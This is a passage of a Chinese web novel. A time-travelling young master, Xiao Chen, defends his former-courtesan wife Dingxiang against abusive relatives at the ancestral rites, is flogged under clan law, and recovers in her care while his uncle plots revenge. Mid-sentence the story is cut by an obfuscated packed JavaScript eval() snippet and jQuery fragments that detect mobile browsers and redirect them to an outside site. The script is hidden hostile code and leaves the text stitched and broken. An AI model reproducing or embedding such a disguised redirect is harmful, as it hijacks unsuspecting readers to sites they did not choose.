两人又闲聊了会儿家常,从院里的花草说到城外的景致,气氛越发融洽。丁香渐渐放开了拘谨,说起小时候在乡下见过的萤火虫,眼里闪着光;李傲雪也说起自己未出阁时跟着父亲学下棋的趣事,听得丁香直笑。 日头渐渐西斜,李傲雪起身告辞:“不早了,我该回去了,免得母亲找我。” 丁香送她到院门口,看着她的身影消失在回廊尽头,才转身回屋。她走到桌边,看着那几件新衣裳,又摸了摸石桌上的琴弦,心里被一种从未有过的踏实感填满。 祭祖这日,肖府上下从清晨就忙了起来。祠堂里打扫得一尘不染,供桌上摆满了瓜果祭品,烛火摇曳,映着祖宗的牌位,气氛肃穆又压抑。 肖晨穿着一身簇新的锦袍,跟在肖母身后应酬族中长辈,脸上挂着程式化的笑意,心里却早已不耐烦。这些所谓的亲戚,平日里少有往来,唯有祭祖时才聚在一起,张口闭口不是功名前程,就是家长里短,话里话外总藏着算计。在现代时他就厌烦这种虚伪的亲戚关系,干脆利落断了来往,没想到穿越到这里,还要应付这一套。 丁香则紧紧跟在李傲雪身边,低着头,手里攥着衣角。李傲雪低声教她:“等会儿行跪拜礼时,跟着我做就好,别慌。” “嗯。”丁香点点头,心跳得飞快。 族里的亲戚渐渐到齐,目光很快落在了丁香身上。有人窃窃私语,指指点点,那些目光像针一样扎在她身上。 一个留着山羊胡的堂叔眯着眼打量她,忽然嗤笑一声,声音不大不小,刚好让周围的人听见:“这不是前些日子传得沸沸扬扬的那位吗?听说……是从花船上来的货色?” 这话一出,周围顿时安静了几分,几道探究又轻蔑的目光齐刷刷射向丁香。 旁边一个穿着艳俗的表亲立刻接话,语气轻佻:“哟,还真是她?瞧着是有几分姿色,怪不得能勾得晨小子魂不守舍。”他故意压低声音,却带着让人难堪的戏谑,“就是不知道床上功夫怎么样,能让肖晨为了她一掷千金纳为妾室,这可是头一回见呢。” 污言秽语像淬了毒的石子,砸得丁香脸色惨白,她死死咬着嘴唇,指甲掐进掌心,却不敢抬头。 李傲雪眉头一皱,刚想开口训斥,就听见一声冷喝:“嘴巴放干净点!” 肖晨不知何时走了过来,脸色阴沉得吓人,眼神像刀子一样刮过那两个说话的亲戚:“祭祖的地方,满嘴喷粪,是想让祖宗罚你们吗?” 堂叔被他怼得一愣,随即恼道:“晨小子,你怎么跟长辈说话呢?我说的难道不是事实?” “事实?”肖晨上前一步,将丁香护在身后,声音冷得像冰,“她是我明媒正娶的妻子,不是什么妾室!轮得到你们在这里说三道四?” 他扫过周围窃窃私语的亲戚,目光锐利:“谁再敢说一句废话,就给我滚出肖府!我肖晨的女人,还轮不到外人来置喙!” 这话又硬又狠,震得祠堂里瞬间鸦雀无声。那些想看热闹的亲戚,被他眼里的戾气吓得缩了缩脖子,再不敢乱嚼舌根。 肖母脸色难看,却在祖宗牌位前不好发作,只能沉声呵斥:“成何体统!还不给我安分点!” 肖晨没理她,只是低头看向身后的丁香,见她眼眶通红,伸手轻轻握住她的手,用只有两人能听见的声音说:“别怕,有我。” 丁香抬头望着他挺直的背影,掌心传来的温度让她颤抖的身体渐渐安定。原来,无论在多么难堪的境地,他总会挡在她身前,为她撑起一片天。 祭祖的仪式在压抑中继续,那些不怀好意的目光依旧存在,却再无人敢说一句不敬的话。丁香跟着李傲雪跪拜行礼,心里却牢牢记住了肖晨护着她的模样——那是比任何承诺都更坚实的依靠。 祭祖仪式总算结束,亲戚们三三两两地往正厅去吃宴席,祠堂里只剩下零星几人收拾东西。 肖晨刚要带丁香离开,堂叔就堵了上来,脸上满是不依不饶的怒气:“肖晨!刚才祭祖仪式上我给你留面子,没跟你计较!”他指着丁香,声音尖利,“你们肖家也是书香门第,怎么能让这种从花船出来的婊子进家门?传出去像什么话!这不是败坏门风是什么?” 他唾沫横飞,越说越难听:“这种婊子,玩玩也就算了,脏得很!赶紧赶出去,别污了祖宗的地!” “你说什么?”肖晨的眼神瞬间冷得像冰,没等堂叔把话说完,一拳就狠狠砸了过去。 “砰”的一声,堂叔被打得踉跄后退,嘴角立刻渗出血来。 “她是我的女人!”肖晨红着眼上前,一把揪住他的衣领,拳头像雨点般落下,“你敢侮辱她一句试试?骂她就是找死!” 堂叔被打得嗷嗷叫,一旁的堂兄弟见状,怒吼着冲上来:“肖晨你疯了!敢打我爹!” 他一把抓住肖晨的胳膊,另一只拳头就挥了过来。肖晨侧身躲开,反手一拳砸在他肚子上,两人瞬间扭打在一起。 祠堂里的桌椅被撞得东倒西歪,供桌上的烛台晃了晃,蜡油滴在地上,像一滩凝固的血。 丁香吓得脸色发白,想去拉劝又不敢上前,只能急得跺脚:“别打了!快别打了!” 李傲雪闻讯赶来,见这架势也慌了神,连忙喊人:“快来人啊!拉住他们!” 几个家丁冲进来,费了九牛二虎之力才把扭打在一起的三人拉开。肖晨的锦袍被扯破了好几处,脸上带着擦伤,眼神却依旧凶狠地瞪着堂叔父子。 堂叔被打得鼻青脸肿,指着肖晨骂道:“反了!反了天了!你为了一个婊子打长辈,我要去族老那里告你!” “你去告!”肖晨喘着气,声音沙哑却字字清晰,“今天就算闹到官府,我也敢说——谁再敢骂她一句,我打断谁的腿!” 肖母拄着拐杖赶来,看到眼前一片狼藉,气得浑身发抖:“肖晨!你……你简直要气死我!” 她指着肖晨,又看看鼻青脸肿的堂叔,最后把目光落在瑟瑟发抖的丁香身上,眼里的恨意几乎要溢出来:“都是你!都是你这个丧门星!一来就搅得家宅不宁!” “娘!”肖晨挡在丁香身前,“这事跟她无关,是他们先出口伤人!” “伤人?我说错了吗?”堂叔捂着嘴,含糊不清地喊,“她本来就是……” “闭嘴!”肖晨厉声打断,若不是被家丁拉住,怕是又要冲上去。 祠堂里一片混乱,祖宗的牌位在烛火下沉默地立着,仿佛也在冷眼旁观这场因偏见而起的闹剧。丁香望着肖晨带伤的侧脸,心里又疼又涩——他为了她,把自己活成了这世道最不齿的模样,可她知道,这才是他最真的样子,是愿意为她对抗全世界的样子。 堂叔捂着流血的嘴角,被儿子扶着站稳,指着肖晨的鼻子嘶吼:“反了!真是反了天了!我是你长辈!你敢动手打我?” 他扫视着周围的家丁和族中几个长辈,眼睛瞪得通红:“你们都是死人吗?肖晨目无尊长,为了一个贱蹄子动手打长辈,按族规,该执行家法!还愣着干什么?把他给我绑起来!” 几个族老面面相觑,脸上带着犹豫。按族规,晚辈对长辈动手确实该罚,可肖晨是肖家独子,又是府里的顶梁柱,谁也不敢真的动手。 “三叔公,四伯,你们倒是说句话啊!”堂叔见没人动,又转向族老们,“今天要是不罚他,往后这肖家的规矩还怎么立?祖宗的脸面都要被他丢尽了!” 肖母脸色铁青,心里又气又恨——恨肖晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097174|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲动,更恨丁香惹出这堆事。她看向族老们,语气沉沉:“按规矩办吧。” “娘!”肖晨不敢置信地看向她,“您也要罚我?” “规矩就是规矩!”肖母别过脸,“你打了长辈,就得受罚!” 几个家丁犹豫着上前,刚要碰肖晨,就被他甩开:“不用你们动手!” 他挺直脊背,看向堂叔,眼神冷得像淬了冰:“家法我认,但你记着——今日我受罚,是因为我动了手,不是因为你骂她的那些话!往后你再敢说一句侮辱她的话,就算受十次家法,我也照打不误!” 堂叔被他眼里的狠劲吓得一哆嗦,嘴上却依旧强硬:“哼,死到临头还嘴硬!给我打!三十大板,看他还敢不敢嚣张!” 家丁们取来家法棍,肖晨脱下外袍,跪在祠堂中央的蒲团上,脊背挺得笔直。 丁香看着那黑漆漆的棍子,眼泪瞬间涌了上来,冲过去想挡在他身前:“不要!要打就打我吧!不关公子的事!” “滚开!”堂叔一脚踹向她,却被肖晨厉声喝止:“别动她!” 肖晨转头看向丁香,眼神温柔了一瞬:“回去。这点疼,我受得住。” 李傲雪连忙拉住哭着挣扎的丁香,对她摇头示意——这时候拦着,只会让事情更糟。 “啪!”第一棍落在肖晨背上,发出沉闷的响声。 他闷哼一声,额头渗出细汗,却始终没再出声。 丁香被李傲雪死死拉住,看着他背上的衣料渐渐渗出暗红的血迹,心疼得几乎喘不过气,眼泪像断了线的珠子,砸在地上,晕开一小片湿痕。 堂叔站在一旁,看着肖晨挨揍,脸上露出报复的快意,嘴里还不停地念叨:“让你护着那个贱蹄子!让你目无尊长!” 肖晨咬着牙,每挨一棍,目光就往丁香的方向看一眼——他要让她知道,护着她,他心甘情愿。 “啪”的一棍又落下来,肖晨背上的血迹越发清晰。堂叔看着他隐忍的模样,心里的火气不但没消,反而更盛,嘴里的污言秽语变本加厉:“哼,为了个千人骑万人枕的婊子受罚,你肖晨也算是出息了!等你被这贱货榨干了家底,有你后悔的那天……” “你找死!” 没等他说完,肖晨猛地从蒲团上挣开家丁的钳制,像一头被激怒的野兽,扑过去一把揪住堂叔的衣领,拳头带着风声狠狠砸在他脸上。这一拳比刚才更重,堂叔惨叫一声,被打得飞出去,撞在供桌边缘,香炉“哐当”一声摔在地上,香灰撒了一地。 “我让你骂她!让你骂她!”肖晨红着眼,骑在他身上,一拳接一拳地砸下去,根本没给旁人反应的机会,“我看你是活腻了,敢在祖宗面前满嘴喷粪!” 堂兄弟见状,疯了一样冲上来拉他,却被肖晨一脚踹开:“滚开!” 祠堂里彻底乱了套,牌位被震得摇晃,烛火忽明忽暗,映着肖晨狰狞的侧脸,竟有几分吓人。 “肖晨!你疯了!”肖母尖叫着想去拉,却被混乱的人群挤到一边。 李傲雪死死抱住哭到几乎晕厥的丁香,在她耳边急声道:“别看!快别看!” 可丁香怎么忍得住?她看着肖晨像疯了一样护着她的尊严,看着他背上的伤口因为剧烈动作裂开,鲜血浸透了衣衫,心像被生生撕开一道口子,疼得无法呼吸。 “公子!别打了!求你别打了!”她哭喊着,声音嘶哑,“我没关系的!真的没关系的!” 肖晨像是没听见,直到堂叔被打得只剩哼哼的力气,嘴角鼻子全是血,他才被几个力气大的家丁死死按住,再也动不了。 他喘着粗气,胸口剧烈起伏,眼神依旧死死盯着地上的堂叔,像盯着不共戴天的仇人:“记住……这是最后一次。再让我听见一个脏字,我拆了你全家!” 这话带着血腥味的狠戾,让在场所有人都噤若寒蝉。连一直叫嚣的堂兄弟,也吓得缩在一旁,不敢再上前。 祠堂里静得可怕,只有肖晨粗重的喘息和丁香压抑的呜咽。祖宗的牌位在阴影里沉默着,仿佛也被这场失控的暴怒震慑,再无半分威严可言。 肖晨被家丁架着,却依旧挣扎着看向丁香,眼神里翻涌着怒火,也藏着一丝后怕——他怕自己没护住她,怕那些脏话说进她心里,怕她被这世道的恶意碾碎。 丁香望着他带血的拳头,望着他背上触目惊心的血迹,忽然明白了一件事——这个男人,是真的会为了她,与整个世界为敌。而她,也绝不能让他一个人扛着这些。 她擦干眼泪,挣脱李傲雪的手,一步步走到肖晨面前,抬起头,迎上他通红的眼睛,声音虽轻,却异常坚定:“公子,我们回家。” 肖晨看着她眼里的倔强,那股滔天的怒火,竟奇异地平息了几分。他缓缓点头,任由家丁扶着,却始终紧紧回握住她伸过来的手。 两人刚走出祠堂,肖晨再也撑不住,踉跄了一下,脸色苍白如纸。丁香连忙扶住他,指尖触到他背上的血迹,心疼得指尖发颤:“公子,你怎么样?我扶你回房请大夫。” 肖晨咬着牙摇摇头,声音沙哑:“没事……先回房。” 他不想让那些看热闹的亲戚看笑话,更不想让丁香担心,只能硬撑着挺直脊背。可每走一步,背上的伤口就像被撕开一样疼,冷汗顺着额角往下淌。 回到院里,玉溪和几个丫鬟早已闻讯等候,见肖晨这副模样,吓得脸都白了。丁香连忙吩咐:“快!去请大夫!再打盆热水来,准备干净的布条和伤药!” 众人忙不迭地应着,院子里顿时忙乱起来。丁香扶着肖晨进了内室,小心翼翼地帮他脱下染血的外袍,露出背上纵横交错的伤痕,新伤叠着旧伤,看得她眼泪又忍不住掉下来。 “别哭。”肖晨感觉到她的颤抖,艰难地转过头,抬手想替她擦泪,却牵扯到伤口,疼得倒吸一口冷气。 “别动!”丁香连忙按住他,吸了吸鼻子,强忍着泪意,“我帮你擦干净伤口。” 她拧了布巾,蘸着温水轻轻擦拭他背上的血迹,动作轻柔得像对待易碎的珍宝。肖晨疼得肌肉紧绷,却始终没哼一声,只是看着她低垂的眉眼,眼里满是怜惜。 “都怪我……”丁香的声音带着哭腔,“若不是我,你也不会……” “傻瓜。”肖晨打断她,“跟你没关系。是他们混账,该打。” 他顿了顿,声音放柔了些:“再说,护着自己的女人,天经地义。” 丁香擦着伤口的手一顿,眼泪啪嗒掉在他背上,烫得他轻轻一颤。她咬住嘴唇,把剩下的话都咽了回去——再多的歉意,都不如好好照顾他来得实在。 很快,大夫来了,检查过伤口后,皱着眉说:“伤口有些深,还动了怒气扯裂了些,得好好养着,千万别再动气劳累,不然容易留疤,甚至伤了筋骨。” 他一边说着,一边给伤口上药、包扎,肖晨疼得额头冒汗,却始终紧抿着唇,一声不吭。 送走大夫,丁香守在床边,看着他沉沉睡去,眉头却依旧紧锁,像是在梦里也不得安宁。她坐在床边,轻轻替他擦去额角的冷汗,心里暗暗打定主意——往后,她不能再这样被动地让他保护,她要学着变强,学着替他分担。 傍晚时分,李傲雪来看过一次,见肖晨睡得安稳,只低声嘱咐丁香:“好好照顾他,府里的事有我顶着,别担心。” 丁香点头应下,心里感激不尽。 夜里,肖晨疼得醒了几次,每次醒来,都能看到丁香守在床边,眼里满是担忧。他握住她的手,哑声说:“睡会儿吧,我没事。” “我不困。”丁香摇摇头,把他的手贴在自己脸上,“公子,以后别再这样了,我怕……” “怕什么?”肖晨笑了笑,眼里带着倦意,却依旧坚定,“只要能护着你,这点疼算什么。” 他看着她泛红的眼眶,又道:“别往心里去,那些人的话就当是狗叫。在我心里,你比谁都干净,比谁都好。” 丁香再也忍不住,趴在床边哭了起来,压抑了一天的委屈和后怕,终于在此刻倾泻而出。肖晨想抬手拍她的背,却动一下就疼,只能柔声哄着:“好了好了,不哭了,再哭我这伤口更疼了。” 这话果然管用,丁香立刻收住哭声,抽噎着说:“我不哭了,你好好养伤。” 肖晨看着她红红的眼睛,心里又暖又涩。这场仗,他打得浑身是伤,却觉得值——至少让所有人都知道,丁香是他护着的人,谁也不能轻辱。 窗外的月光静静流淌,照在相拥的两人身上。伤口的疼痛还在,未来的风波或许也不会少,但此刻紧握的双手,和彼此眼里的坚定,却足以抵御一切寒意。 有些守护,从来都不是一时冲动,而是早已刻进骨子里的决心。 55.危险,家族逼着他做选择 肖晨刚昏昏沉沉睡去,就被一阵急促的脚步声惊醒。他睁开眼,只见肖母拄着拐杖,带着几个家丁气势汹汹地闯进来,脸色铁青得吓人。 “儿子,你看看你为了她把自己折腾成什么样!”肖母指着床上的肖晨,又瞪向一旁的丁香,声音尖利,“这个贱人今天必须滚!我肖家容不下这种伤风败俗的东西,留着她早晚是个祸害!” 丁香吓得往后缩了缩,下意识地看向肖晨。 肖晨挣扎着想坐起来,背上的伤口立刻传来剧痛,他咬着牙,眼神却异常坚定:“娘,我不许你这么说她。” “我偏要说!”肖母气得拐杖往地上一顿,“要不是她,你能跟堂叔动手?能挨这顿家法?她就是个丧门星!” “她不是。”肖晨的声音不大,却带着不容置疑的强硬,“今天这事是我自己的主意,跟她没关系。她要走,我就跟她一起走,这肖家我也不待了。” “你——”肖母被他这句话噎得差点背过气去,指着他的手都在发抖,“你为了她,连娘都不要了?连这个家都不要了?” “娘,我不是不要您,也不是不要这个家。”肖晨看着她,语气里带着疲惫,“可丁香是我的妻子,我护着她是应该的。您要是容不下她,我只能带她走。” 就在这时,李傲雪匆匆赶来,见状连忙上前劝道:“母亲,您消消气,先坐下喝口茶。” 她扶着肖母在椅子上坐下,又转向肖晨:“少爷,您也少说两句,母亲也是心疼您才动了气。” 随后,她看向肖母,温声道:“儿媳知道丁香是个善良的人,平日里谨小慎微,从没惹过是非。今天这事,确实是堂叔他们先出口伤人,少爷也是护妻心切才动了手,是冲动了些,但母亲您别真怪到丁香头上。” 她顿了顿,又道:“现在少爷伤得这么重,正是需要人照顾的时候,丁香细心,让她留下伺候您也能放心些。等过些日子,大家气消了,再说别的也不迟啊。” 肖母重重地哼了一声,却没再坚持赶人。她何尝不知道儿子的性子,一旦认定了的事,九头牛都拉不回来。真把他逼急了带着人走,她哭都没地方哭去。 “照顾?我怕她是想趁机下毒害我!”肖母嘴上依旧不饶人,眼神却松动了些。 “母亲放心,我会盯着的。”李傲雪连忙接话,“绝不会出任何差错。” 肖晨看着李傲雪,眼里闪过一丝感激。他知道,若不是她从中周旋,今天这事怕是很难善了。 丁香也连忙屈膝行礼,声音带着诚恳:“母亲,我会好好照顾公子,绝不给府里惹麻烦,求您别赶我走。” 肖母瞪了她一眼,没再说话,只是对肖晨道:“你好自为之!要是再为了她跟我闹,我就当没生过你这个儿子!” 说完,她拄着拐杖,气冲冲地带着人走了。 房间里总算安静下来,肖晨松了口气,后背的伤口疼得他额头冒汗。丁香连忙上前替他擦汗,眼里满是后怕。 “谢谢你,少夫人。”她低声对李傲雪说。 李傲雪笑了笑:“举手之劳。好好照顾少爷吧,有什么事随时来找我。” 她看了眼肖晨,又道:“少爷,您也别跟母亲置气,她心里也是疼您的,只是转不过弯来。” 肖晨点了点头,没说话。他知道母亲的脾气,这事怕是没那么容易过去,但至少眼下,他保住了丁香。 李傲雪走后,丁香坐在床边,轻轻替他按揉着紧绷的肩膀,声音带着愧疚:“都怪我……” “说了跟你没关系。”肖晨握住她的手,眼神温柔,“别胡思乱想,安心待在我身边就好。” 丁香看着他苍白的脸,眼眶泛红:“可是……我不想让你为难,更不想你因为我和母亲反目,和整个家族为敌……” 她的话还没说完,肖晨已经微微侧过身,不顾背上的剧痛,伸手扣住她的后颈,低头吻了上去。 这个吻带着不容置疑的强势,又藏着一丝后怕的颤抖,像是要将她揉进骨血里。他尝到她唇边的咸涩,知道那是她的眼泪,吻得越发用力,仿佛要用这个吻告诉她,所有的犹豫和退缩都是多余。 直到两人都喘不过气,他才稍稍松开她,额头抵着她的,眼底翻涌着滚烫的情绪,声音沙哑却字字清晰:“你是我的女人,这辈子都是。只要我在,就不会让人伤害你分毫。” 他顿了顿,拇指轻轻摩挲着她颤抖的唇瓣,语气带着近乎决绝的坚定:“除非我死了。” 丁香被他这句话震得心头剧颤,眼泪掉得更凶,却不是因为害怕,而是因为那份沉甸甸的、几乎要将她淹没的深情。她抬手抱住他的脖颈,将脸埋在他颈窝,哽咽道:“我不要你死……我什么都不要,只要你好好的……” 她不怕被人指点,不怕被人轻贱,可她怕他为了护她,一次次把自己置于险境,怕他真的会为了她,付出无法挽回的代价。 肖晨感受到她的颤抖,后背的疼痛仿佛都减轻了几分。他轻轻拍着她的背,声音放柔了许多:“傻丫头,我不会死的。我还要看着你穿我给你做的新衣裳,听你弹一辈子琴,怎么会舍得死。” 他扶着她的肩,让她抬起头,认真地看着她的眼睛:“别想太多,也别再说走的话。有我在一天,你就必须留在我身边一天。这不是商量,是命令。” 他故意板起脸,眼底却藏着笑意。丁香看着他这副模样,忍不住破涕为笑,抬手轻轻捶了他一下:“公子又欺负我。” “嗯,就欺负你一个。”肖晨笑着,低头在她额上印下一个轻柔的吻,“欺负一辈子。” 丁香刚唤了声“公子”,话音未落,就被肖晨再次拉进怀里。他不顾背上伤口的牵扯,低头又吻了上去。这一次的吻,少了几分刚才的决绝,多了些缠绵的温柔,带着药香的气息萦绕在两人鼻尖。 “你的伤……”丁香含糊地说着,想推开他,指尖却触到他后背绷得紧紧的肌肉,能感觉到他强忍着疼痛。 肖晨却像是没听见,只收紧了手臂,将她抱得更紧。此刻,所有的伤痛、纷扰都被抛在脑后,他眼里心里,只有眼前这个柔软的、让他甘愿付出一切的人。 丁香看着他眼里的执拗与深情,到了嘴边的劝阻终究咽了回去。她缓缓闭上眼,抬手环住他的腰,轻轻回吻着他。 她想,就这样吧。管他什么流言蜚语,管他什么家族规矩,她只想好好爱眼前这个男人,用尽全力回应他的深情。 窗外的日光悄悄移动,照在交缠的身影上,将两人的影子拉得很长。房间里很静,只有彼此急促的呼吸和压抑的心跳,还有那无声流淌的、足以抵御世间一切寒意的爱意。 许久,肖晨才松开她,额头抵着她的,喘着气低笑:“果然,看你一眼,什么疼都忘了。” 丁香嗔怪地瞪他一眼,伸手想去摸他的背,又怕碰疼了他,手在半空停住:“别闹了,好好躺着养伤。” 肖晨握住她的手,放在唇边轻轻吻了吻,眼底满是满足:“好,都听你的。” 他躺回床上,丁香替他盖好被子,坐在床边,指尖轻轻拂过他的眉眼。阳光落在他脸上,映出他带笑的嘴角,她心里忽然无比安定——只要能这样守着他,再难的日子,也会变得有滋有味。 肖晨拉着她的手,眼神带着几分撒娇似的恳求:“你上来陪着我一起睡,不然我这伤口疼得厉害,肯定睡不着。” 丁香脸颊一红,有些犹豫地看了看床榻,又看了看他苍白却带着期待的脸,终究还是没忍心拒绝。她小心翼翼地脱了鞋,挨着床边躺下,尽量避开他的伤口,不敢靠得太近。 刚躺好,就被肖晨一把拉进怀里。他调整了个舒服的姿势,让她枕着自己的胳膊,另一只手紧紧环着她的腰,把她牢牢圈在怀里,声音带着笑意:“这样才对,离这么远,跟没陪一样。” “会碰到你的伤的……”丁香小声嘟囔,却乖乖地没再动,生怕牵扯到他的伤口。 “不怕。”肖晨低头在她发顶蹭了蹭,鼻尖萦绕着她发间淡淡的皂角香,心里一片安宁,“有你在身边,这点疼算什么。” 他确实累坏了,又疼了一天,此刻抱着心上人,紧绷的神经终于放松下来,眼皮越来越沉。 丁香能感觉到他的呼吸渐渐变得平稳悠长,知道他睡着了。她轻轻抬起头,借着透过窗纱的月光,看着他熟睡的侧脸——眉峰依旧紧蹙,像是在梦里还在为她操心,下巴上冒出了些青色的胡茬,添了几分硬朗。 她伸出手,小心翼翼地抚平他蹙着的眉头,指尖轻轻划过他的脸颊,心里软软的。 原来被人这样放在心尖上疼着,是这样的滋味。她暗暗想着,以后一定要更小心些,替他分担些风雨,让他能多睡几个安稳觉。 她往他怀里缩了缩,找了个舒服的姿势,听着他有力的心跳声,像听着世间最安稳的乐曲,眼皮也渐渐沉重起来。 第二天清晨,天光刚透过窗棂照进屋里,丁香就醒了。她小心翼翼地从肖晨怀里挪出来,怕惊扰了他。看着他依旧沉睡的脸,眼下有着淡淡的青黑,显然昨夜睡得并不安稳,她心里又是一阵疼惜。 等肖晨醒来时,丁香已经端着药碗和干净的布条在床边等着了。“公子醒了?该换药了。” 肖晨点点头,撑着身子想坐起来,丁香连忙扶住他,在他背后垫了个软枕。她解开包扎的布条,看到背上的伤口依旧红肿,有些地方还渗出了新的血渍,眼眶瞬间就红了。 “很疼吧?”她声音发颤,蘸着药水的布巾悬在半空,不敢落下。 “不疼。”肖晨握住她的手,笑了笑,“你轻点就好。” 丁香咬着唇,动作轻柔地替他清理伤口、上药,指尖触到他紧绷的肌肉,能感觉到他强忍着疼痛。她低着头,不敢看他的脸,怕眼里的心疼被他瞧见。 换好药重新包扎好,她收拾着东西,声音闷闷的:“都怪我……” “又说傻话。”肖晨伸手将她拉进怀里,让她坐在自己腿上,低头看着她泛红的眼眶,“跟你说过多少遍了,不怪你。” 他抬手替她擦去眼角的泪珠,语气认真:“你不用觉得愧疚,也不用想着怎么补偿我。对我来说,你只要把自己保护好,开开心心的,就是最好的回报。” “可是……” “没有可是。”肖晨打断她,捏了捏她的脸颊,“你要是总胡思乱想,把自己愁坏了,我这伤不是白受了?” 丁香看着他眼里的认真,把剩下的话都咽了回去,轻轻点了点头:“我知道了。” 她靠在他怀里,听着他沉稳的心跳,心里渐渐安定。或许她现在还不够强大,还不能为他做太多,但至少,她可以照顾好自己,不让他再为她分心担忧。 “公子,等你伤好了,我们去城外看桃花好不好?”她忽然抬头,眼里闪着光,“我听玉溪说,城外的桃林这个时节开得正好。” 肖晨看着她眼里的期盼,笑着点头:“好,等我伤好了,就带你去。不光看桃花,还要带你去游湖,去爬山,去所有你想去的地方。” 肖晨看着她认真的模样,忽然笑了,伸手刮了下她的鼻尖:“那我换个要求——你叫我肖晨吧,别总一口一个‘公子’,听着生分。” 丁香愣了一下,连忙摇头:“不可以的。” “有什么不可以?”肖晨挑眉。 “女子要守三从四德,丈夫便是天,哪有直呼夫君名字的道理?”丁香说得一脸郑重,“这是大不敬,传出去要被人笑话的。” 肖晨握住她的手,语气带着几分无奈,又有几分坚持:“你都是我的妻子了,还怕什么笑话?在我面前,不用守那些虚礼。” “公子不要为难我。”丁香轻轻挣开他的手,眼圈微微泛红,“这真的不可以。你若是真心疼我、爱我,就别让我犯这种错。” 她知道他是好意,想与她更亲近些,可从小听着的规矩早已刻进骨子里,让她直呼他的名字,就像让她违背天性一般难。 肖晨看着她眼里的执拗,还有那几分惶恐,心里的坚持渐渐软了。他叹了口气,抬手揉了揉她的头发:“好吧,不逼你了。” 他知道她的性子,看似柔弱,实则在这些规矩礼教上有着自己的坚守。既然她在意,他便顺着她吧,总不能真的让她为难。 “你想叫什么就叫什么,只要是你叫的,我都喜欢。”肖晨笑了笑,语气放软了许多,“这样总行了吧?” 丁香见他不再坚持,松了口气,脸上露出浅浅的笑意:“谢谢公子。” “又跟我客气。”肖晨捏了捏她的脸颊,眼底满是宠溺,“快给我倒杯水,渴了。” “哎。”丁香连忙应着,转身去桌边倒水,脚步轻快了许多。 肖晨看着她的背影,无奈地笑了笑。罢了,不过是个称呼而已,只要她在身边,叫什么又有什么关系呢? 他想要的,从来都不是一个名字,而是她整个人,整颗心。如今她就在这里,眼里心里都是他,这就够了。 丁香端着水杯,小心地喂肖晨喝了几口,又拧了热毛巾,细细替他擦了脸和手。她的动作轻柔细致,带着满心的关切,肖晨看着她低垂的眼睫,心里暖融融的。 “我去把早饭端进来。”擦完脸,丁香收拾着布巾,轻声说道。 “不用,让丫鬟送来就行。”肖晨拉住她的手,不让她走,“你陪我一起吃。” 丁香有些犹豫:“这样不合规矩吧?哪有主仆……” “我们是夫妻,不是主仆。”肖晨打断她,语气带着不容置疑的温柔,“在这屋里,不用讲那些规矩。我想跟你一起吃饭,就我们两个人。” 他眼里的期盼太过真切,丁香实在无法拒绝,只好点了点头:“那我让玉溪把早饭送到屋里来。” 她转身出去吩咐了几句,很快,玉溪就带着丫鬟端着食盒进来,摆了满满一桌子。小米粥熬得软糯,还有几样精致的小菜,一碟桂花糕,都是肖晨爱吃的。 丁香扶着肖晨坐起身,在他背后垫了个厚厚的靠枕,又盛了一碗粥,用勺子搅了搅,试了试温度才递给他:“慢点喝,刚熬好的。” 肖晨没接,反而张开了嘴:“你喂我。” 丁香脸颊微红,看了眼旁边的丫鬟,有些不好意思。玉溪很有眼色,连忙带着其他人退了出去,还贴心地带上了门。 “现在没人了。”肖晨笑得像个孩子,坚持着要她喂。 丁香无奈,只好拿起勺子,小口小口地喂他喝粥。肖晨吃得很慢,眼神一直落在她脸上,仿佛这粥的滋味,远不如看她来得香甜。 “你也吃啊。”他催促道。 “我等会儿再吃。” “不行,一起吃。”肖晨拿过另一双筷子,夹了块桂花糕递到她嘴边,“张嘴。” 丁香没办法,只好咬了一小口。桂花的甜香在舌尖散开,混着心里的暖意,甜得恰到好处。 两人就这样你一口我一口地吃着早饭,没有旁人打扰,只有彼此温柔的目光和偶尔的低语。阳光透过窗棂洒在桌上,映得饭菜都染上了一层暖意。 对肖晨来说,这样平淡的相处,比任何山珍海味都让他满足。他喜欢看她为自己忙碌的样子,喜欢这种烟火气十足的温馨,这让他觉得,自己是真真切切地活着,被人惦记着。 而丁香心里,那些关于规矩、关于身份的藩篱,似乎也在这样的相处中,一点点融化着。或许,偶尔抛开那些束缚,就这样安安心心地做他的妻子,也没什么不好。 早饭吃完,肖晨靠在床头,看着丁香收拾碗筷,嘴角始终挂着笑意。他知道,改变她心里的那些想法需要时间,但没关系,他有的是耐心。 只要她在身边,慢慢来就好。 堂叔躺在自家床上,半边脸还肿着,嘴角的伤口一动就疼。想起昨天在祠堂被肖晨当众痛打的场面,他就气得浑身发抖——自己好歹是长辈,竟被一个晚辈按在地上揍,这事早就在族里传开了,走到哪儿都能感觉到旁人异样的目光,简直丢尽了脸面。 他的儿子端着药碗进来,见他脸色铁青,小心翼翼地说:“爹,您消消气,先把药喝了。” 堂叔一把挥开药碗,“哐当”一声,碗摔在地上碎了一地,药汁溅得到处都是。“消气?我怎么消气!”他指着门外,声音因为愤怒而嘶哑,“整个家族谁不知道我被肖晨那小子打了?还不是为了那个花船上来的贱货!这口气我咽不下去!” 儿子连忙蹲下身收拾碎片,低声道:“可肖晨那小子是真敢下手啊,而且他现在是肖家的主事人,我们……” “主事人又怎么样?”堂叔打断他,眼里闪过一丝阴狠,“他肖晨再横,还能大过族规?还能对抗整个家族?那个贱货就是他的软肋!” 他喘了口气,压低声音对儿子说:“这事儿可不能就这么算了。你给我盯紧了,看看那个贱货有没有什么把柄可抓。一个从花船出来的女人,能干净到哪儿去?肯定有见不得人的事!” “爹,您是想……”儿子眼里闪过一丝犹豫。 “想什么?”堂叔冷笑一声,“我要让她身败名裂,让肖晨知道护着这种女人的下场!我要让他们在整个家族面前抬不起头,把我受的屈辱加倍还回来!” 他看着儿子,语气带着不容置疑的命令:“这事你必须给我办妥当。找几个可靠的人,去查查她以前在花船的事,越多不堪入耳的越好。再看看她进府后有没有什么不轨的举动,哪怕是跟哪个小厮多说了句话,都给我记下来!” 